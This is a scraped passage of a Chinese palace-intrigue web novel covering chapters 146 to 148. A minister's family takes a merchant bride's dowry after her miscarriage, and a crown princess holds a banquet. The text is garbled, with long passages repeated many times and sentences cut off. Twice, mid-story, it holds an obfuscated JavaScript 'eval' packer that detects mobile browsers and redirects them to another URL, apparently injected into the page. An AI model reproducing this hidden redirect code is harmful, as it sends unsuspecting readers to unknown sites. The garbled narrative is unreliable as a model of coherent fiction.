高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若 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几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” 第一百四十七章 实在是不要脸 赵钱钱听着高夫人这一连串的安排只觉一阵天旋地转声音颤抖得几乎听不清。 “母亲您怎能如此?那些铺子是我娘家给我的陪嫁您怎能说拿走就拿走?” 高夫人冷笑一声眼神中满是不屑。 “怎么?你如今还敢质疑我的决定?在高家我说的话就是规矩。你既然没本事保住高家的孩子还在这院子里闹得鸡飞狗跳就莫要再妄想掌管家中的事务。” “至于你的嫁妆铺子我不过是替你暂为打理等你什么时候真正学会了规矩懂得了如何做一个合格的少夫人再还给你也不迟。” 赵钱钱只觉一股怒火直冲脑门她强撑着床沿费劲的站稳身子看着高晚意。 “高晚意我自问嫁入高家以来一直恪守本分从未有过半分越矩之举。今日之事明明是嬷嬷体罚我才导致孩子没了我不过是为自己的孩子讨个公道我身边的丫鬟也不过就是心疼我罢了何错之有?” 高晚意听得眉头紧皱。 “钱钱母亲也是为你好你现在的身子需要静养 赵钱钱闻言开口道。 “我的确无用进了高家这么久也得不到自己夫君的真心高家的所有事情我都不会再插手但是我的嫁妆铺子就不劳烦高家了我铺子里的掌柜都是从钱家陪嫁过来的即便是我需要休养一两个月他们也会将铺子打理的井井有条。” 高夫人脸色一变怒喝道。 “放肆!你还敢顶嘴?赵钱钱你人都是高家的你的嫁妆铺子自然都由高家来打理。” “来人少夫人即日起禁足在没有学好规矩之前不许踏出院子一步。” 赵钱钱闻言满眼的不可置信看着高夫人见她一脸的冷漠。 又将目光看向高晚意。 “高晚意你当真一句话都不说吗?” 高晚意见状伸手扶住她。 “钱钱你就不要再惹母亲生气了你先好好的修养身体等你身体好了我会让母亲将管家之权继续交给你的。” 随即看向高夫人。 “母亲禁足就算了。” “钱钱刚刚小产情绪不稳定你身为长辈多宽容几分吧。” 然后扶着赵钱钱躺下。 “你先休息我吩咐厨房给你炖补品你要是真的舍不得管家之权那就要尽快的好起来你是高家的少夫人高家的中馈迟早都要 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 彻底交在你手里的。” “至于嬷嬷,她是宫里的人,丞相府也不能动她,但是我会去跟姑母说,让嬷嬷回去伺候姑母,这规矩你若不想学了,那就不学了。” “管家之权暂时交给母亲,雪儿刚刚顶撞母亲的事情也算了。” 言下之意,自己要是不听他们的,雪儿就得受罚,自己当初怎么就相信高晚意对自己是真心的。 见她不说话,高晚意伸手扶着高夫人。 “母亲,你也消消气,咱们都是一家人,以和为贵。儿子先扶你回去休息。” 高夫人冷冷的看了一眼床上的赵钱钱,这才摔袖走出去。 高晚意和高夫人出去以后,雪儿看着躺在床上掉眼泪的赵钱钱,满眼的心疼,扑过去握住她的手。 “小姐,他们也太过分了,小姐你刚刚没有了孩子?他们怎么能如此对待小姐?” 赵钱钱眼泪不停的往下滚落,语气里面都是无助和绝望。 “是我错信了人。” 雪儿紧紧地握住赵钱钱的手。 “小姐,要不奴婢回赵家去,去跟老爷求助老爷不会不管小姐的。” 赵钱钱哭着摇头,眼泪滚落到了枕头上。 “不用,我爹好不容易搭上了丞相府,我的委屈他不一定看得见,而且,就算我爹真的心疼我,民不跟官斗,赵家不过就是商家之流,在高家的眼里什么都不是。” 高夫人的院子里。 高夫人看着高晚意开口。 “晚意,你今日怎么多次帮她说话?你不会真的对她一个商女上心了吧?” 高晚意闻言开口道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264404|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “母亲,没有的事,你不要多想,儿子之所以帮她求情,是因为我们不能把人逼急了,母亲你不要忘了,根据天元的律法,女子的嫁妆是女子的私有物,若是女子在婆家去世了,嫁妆也是要归还给娘家的。” “赵钱钱本就心思多,现在刚刚小产身子又虚弱,若是真的有一个好歹,到时候可不就得不偿失了吗?” 高夫人听了毫不在意的开口。 “赵家不过就是一个商户,难不成他们还要跟丞相府作对不成?” “进了我丞相府的东西,谅他也不敢往回抬。” 高晚意闻言看了高夫人一眼,叹了一口气。 “唉,母亲,就算赵家不计较,我们这可是丞相府,多少人盯着丞相府的一举一动?到时候与丞相府作对的那些人随便说一点什么,丞相府都会名声受损。” 高夫人听了以后沉思片刻。 “你说的也有道理,高家现在也不能让别人抓住了把柄,不过赵钱钱今日实在是太不懂事了,晚意,你不能纵容了她。” “而且你给我记住了,她一个商户之女根本就配不上你,等到秦王问鼎以后,母亲会为你重新挑选一个门当户对的妻子,赵钱钱若是识趣一些,就让她给你当一个妾。” 高晚意闻言开口道。 “母亲,贬妻为妾也不好听。” “太子殿下已经插手刑部,貌似已经在查探高家和秦王府,即便皇上有心护着秦王,可是太子殿下的势力也不容小觑,咱们对外疏通还需要银子,赵钱钱的嫁妆…………” “母亲,你暂时不要为难她,等到晚宁的婚事过后,你对赵钱钱好一些,让人好好的给她补补身子,尽快让她怀孕,生下一个孩子。” 高夫人闻言看着高晚意。 “你的意思是…………” 高晚意点了点头。 “这还要看赵家能够给她送多少银子了。” “她一个商贾之女,能够当上丞相府少夫人,生下一个孩子,已经是她几辈子修来的福气。” 第一百四十八章 题词 是夜。 太子府。 宋淮之与慕行,邵阳朝商玄澈拱手行礼。 “太子殿下。” 宋淮之更是开口。 “我等有负太子殿下所望,没有中状元。” 商玄澈看着几人开口。 “免礼。” “赐座。” 然后才缓缓开口。 “不一定非要是第一甲,你们几个的文章本宫都看过,都是不错的。” 几人拱手。 “多谢太子殿下。” 宋淮之拿出一份册子。 “殿下,这是二甲三甲的名单,其中有一部分是属下打听到的来自哪里以及家里情况。” 商玄澈接过看了一眼宋淮之,在梧州就觉得这人脑子聪明,果然做事圆润,适合官场。 “你们来皇城已有几月了,朝堂上的局势相信你们已经打探了一二,本宫与秦**争暗斗也是众所周知,秦王更加受宠,可是当真想好了要追随本宫?” “若是更倾向于想追随秦王,本宫也可以当做今日未见过几位。” 宋淮之郑重的拱手。 “殿下,从梧州开始,我等就追随殿下的,绝无二心。” 慕行也上前,神情坚定,拱手道。 “太子殿下,我等虽初入朝堂,却也知晓何为忠义。朝堂局势虽复杂,然我等心向明主,梧州殿下在那样危险的情况下,都还要救济我等,太子殿下您心怀天下,以仁治政,是我等应追随之人。我等既已入皇城,便做好与殿下共进退之准备,绝无二心。” 邵阳也紧接着上前,附和道。 “慕兄所言极是,太子殿下。我等读圣贤书,为的就是能辅佐明君,造福百姓,我们这些考生虽然会打探朝堂之事,但是都出自寒门之家,更懂得百姓所求,殿下多次征战,守住疆土,给百姓一片安宁,我等追随殿下心甘情愿。” 商玄澈抬手示意。 “都坐吧。” “状元榜眼及探花都被秦王安排了职位,秦王有心提拔,倒是将翰林院的修撰空了出来,本宫已经让人认命淮之为翰林院修撰,其他人暂时待考,待本宫酌情安排。” 从六品的官职,自己真是捡了一个大漏,宋淮之急忙起身。 “淮之感谢殿下提拔之恩,淮之定为殿下肝脑涂地。” 商玄澈抬手道。 “快免礼。” 目光看向另外二人。 “本宫需要人外放,你们二人可愿意外放。” 二人拱手道。 “我等愿意听从殿下的调遣。” 哪怕是外放三年,只要追随太子殿下,往后回来皇城必然是要加官进爵的。 商玄澈继续开口。 “淮之,你给的这份册子,人你可以多接触,毕竟你们都是同一批考上来的,若有学识可靠之人,可向孤推荐。” 推荐的资格,宋淮之心里又一喜,急忙拱手。 “是,殿下放心,淮之一定会查探清楚他们的品行,再给殿下举荐。” 太子府正院。 王司记拿着一本册子递给沈安若。 “公主,妾身已经将请帖送往各官员府中,这是菜单,还请殿下过目。” 沈安若接过看着上面的菜单。 “果然还得是姨母,这菜单上集齐了南诏与天元有名的美食。” 翡儿在一旁笑着开口。 “咱们这场美食宴一定会办的漂漂亮亮的。” 王司记继续开口道。 “殿下,今日妾身送请帖的时候,还打听到了一件事情,高家的那位少夫人小产了!” 沈安若眉头微皱。 “小产?” “怎么会?” 王司记继续开口。 “是平阳公主赐下的嬷嬷,因为少夫人学规矩的事情体罚少夫人,导致了小产,嬷嬷已经被高晚意送回皇宫了,不过高家的管家之权被高夫人接过来了,听说一同被接管的还有少夫人的陪嫁铺子。” 这路数简直就是太熟了,这不是抢别人嫁妆吗?沈安若感叹一句。 “这高家还真是将不要脸发挥到了极致。” “秦王府的请帖送了吧?” 王司记回应道。 “妾身给秦王和秦王妃都送了一份。” 沈安若闻言缓缓开口。 “这秦王可一定要来参加美食宴,毕竟他不来,有的人就要找借口推脱了。” 秦王府。 秦王看着手里的请帖,看着落款的沈安若名字,想起来在沈安若手里吃的暗亏。 “沈安若,你又想搞什么鬼?” “裴寂,你说这宴会咱们要去吗?” 一旁的侍卫裴寂拱手道。 “殿下,这位太子妃行事根本就不按套路出牌,这又是太子府这么多年来第一次办宴会,若是殿下不去的话,只怕是皇城,又要传殿下不敬兄长了。” 秦王将手中的请帖往桌子上一扔。 “这的确像是沈安若能够干出来的 事情。” “有多少人收到太子府的请帖了?” 裴寂回应道。 “应该是皇城所有的大臣夫人都收到了,太子妃还给王妃单独发了一张请帖。” 秦王闻言忍不住发出一声冷笑。 “呵!” “她还真是一个都不落下,莫不是想要帮太子拉拢朝中官员。” “一个妇人罢了,出了几次风头还真将自己当一回事了。” “本王倒是要看看,她想如何拉拢朝中大臣?。” 时间一晃来到美食宴这天。 太子府一片热闹,府门前车水马龙,各官员府中的马车络绎不绝地驶来。 官员夫人们身着华丽服饰,带着精心准备的贺礼,在侍女的搀扶下款款走进太子府。 府内,下人们忙碌地穿梭其中,引导着宾客前往宴席之处。 待众人入座,商玄澈与沈安若携手而来。 众人都起身行礼。 “参见太子殿下,见过太子妃。” 商玄澈偏头看了一眼沈安若,脸上带着笑意,牵着她的手朝主位走去。 “诸位免礼。” 众人这才起身。 “多谢太子殿下,多谢太子妃。” 沈安若看着众人一脸的笑意。 “本宫来了天元也数月了,一直与诸位夫人都不太熟络,今日特意举办美食宴,就想与诸位交个朋友,也是当让诸位品尝一番南诏美食。” “既然是品尝美食,本宫就干脆将诸位大人也宴请了,稍后还请诸位品尝美食以后,说一说天元美食与南诏美食的优缺点,本宫也好酌情让厨师改进,他日有机会开一家特别的酒楼,让皇城的人都能尝到南诏美食。” 看着这盛大的宴会,不少人眼神交汇,来的路上,还看到了池塘边假山边都是安排了人守着的,而且这么多人,太子府的人更是招待的面面俱到,太子妃身边的嬷嬷丫鬟更是一点都不怯场,这太子妃不简单啊。 只是今日的美食宴当真只是品尝美食吗? 镇国夫人笑着开口。 “臣妇听说太子妃为了筹办这场宴会可是费了不少心思,等一下臣妇一定好好的尝一尝。” 镇国夫人一开口,其他夫人也跟着开口。 “是啊,我们一定好好的尝一尝。” 沈安若看向王司记。 “姨母,开宴吧。” 王司记微微颔首,随后轻轻击掌三下。 刹那间,一群身着统一服饰的侍女端着 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 “诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 “诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 “诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264405|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 “诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 “诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 精致的托盘,从各个方向鱼贯而出,将一道道美食呈现在众人面前。 那色泽金黄、香气扑鼻的南诏烤牛肉,肉质鲜嫩多汁。 还有那晶莹剔透、宛如艺术品的南诏鲜花饼,散发着淡淡的花香,让人垂涎欲滴,等等还有好几种特色菜。 而天元的美食也不遑多让,鲜嫩爽滑的芙蓉虾球,入口即化。 香气四溢的八宝鸭,鸭肉软烂,内里的八宝馅料丰富多样。 商玄澈端起酒杯。 “诸位,这是南诏的鲜花酒,今日是太子府这么多年的第一场宴会,我们不谈公务,不论亲疏,就全心的品尝美食。” 官员们看着眼前的美食,纷纷举杯。 “是,多谢太子殿下。” 众人吃着美食。 时不时交谈着。 “这烤牛肉味道极好。” “这鲜花饼也是,果然不愧是南召的特色。” “就是,一口咬下去,满嘴都是鲜花的清香,听说皇城里面已经开起了一家鲜花饼铺,我以后可要让下人多去买一些回来。” “这南诏的美食味道极好,可咱们天元的美食也不差,都尝尝。” 沈安若则夹起一块菜给商玄澈。 “尝尝,这道菜可是为了宴会特意做出来的。” 商玄澈也给她夹菜。 “你也吃。” 秦王不动声色的看着二人的互动。 难不成真的只是一场美食宴? 顾思娴看着恩爱的二人,只感觉眼前的美味如同嚼蜡,可眼里到底没有恨意,天意弄人,只能怪自己没福气。 沈安锦则看着沈安若幸福的样子满眼都是嫉妒。 高晚意手里的帕子多次都要捏碎了,沈安若,真不要脸,办这么一场宴会就是让大家看你和太子秀恩爱吗? 当然也有人一心的品尝美食。 直到大家吃的差不多了。 沈安若才笑着开口。 